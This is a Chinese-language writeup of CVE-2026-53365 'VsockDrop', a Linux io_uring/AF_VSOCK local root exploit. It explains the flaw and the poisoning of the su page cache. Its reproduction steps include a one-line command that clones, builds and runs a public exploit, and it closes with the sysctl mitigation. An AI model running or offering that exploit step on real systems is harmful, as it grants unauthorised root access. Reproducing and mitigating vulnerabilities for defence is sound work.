CVE-2026-53365(VsockDrop)是一个Linux内核本地提权漏洞:io_uring的零拷贝发送(SEND_ZC_FIXED)在通过AF_VSOCK发送大于64KB的数据时,会对由io_uring注册缓冲区持有(pin)的页多做一次put_page,导致页引用计数下溢,使仍处于pin状态的页被错误释放。攻击者随后让该页被复用为/usr/bin/su的页缓存页,借助固定缓冲区读写改写su的ELF解释器路径,以root身份执行任意程序,直接获得root shell。漏洞影响 Linux 6.7~7.0.10(7.0.11 修复),全程无需任何特权,也不依赖用户命名空间。
复现指南
创建新的低权限用户
useradd -s /bin/bash -m pseudoecho pseudo:cat@md5 | chpasswd
使用低权限用户登录 ssh 后,执行
git clone https://github.com/MaherAzzouzi/vsockdrop && cd vsockdrop && make && ./exploit
这里执行第一次./exploit能提权,如果退出后再执行第二次,则会得到
no elf pageno root
这是因为第一次利用成功后,被投毒的su页仍留在页缓存中,内核里也残留着引用计数已损坏的页。exploit的关键一步是靠“冷读一页”让内核重新分配刚被释放的物理页给su,此时冷读直接命中残留的脏页,物理页复用失败,导出的内存里找不到ELF头,于是报no elf page,利用链就此中断(no root)。这些残留一般只存在于内存中,ext4上reboot清空后即可再次复现;但在btrfs/zfs等CoW文件系统上,毒页可能被写回磁盘持久化(github作者在README中明确警告)。重启后可直接检查是否落盘:
head -c 4096 /usr/bin/su | strings | grep loader
修复指南
截至目前,多数主流 Linux 发行版的内核安全更新尚未完全推送针对该漏洞的修复补丁。临时禁用非特权用户创建io_uring实例(kernel.io_uring_disabled=1)是目前最有效、最推荐的缓解措施。
# 内核6.6+起echo'kernel.io_uring_disabled = 1' |sudo tee /etc/sysctl.d/99-disable-io-uring.confsudo sysctl --systemcat /proc/sys/kernel/io_uring_disabled# 得到的是1
如果未来想启用的话:
sudo rm /etc/sysctl.d/99-disable-io-uring.confsudo sysctl -w kernel.io_uring_disabled=0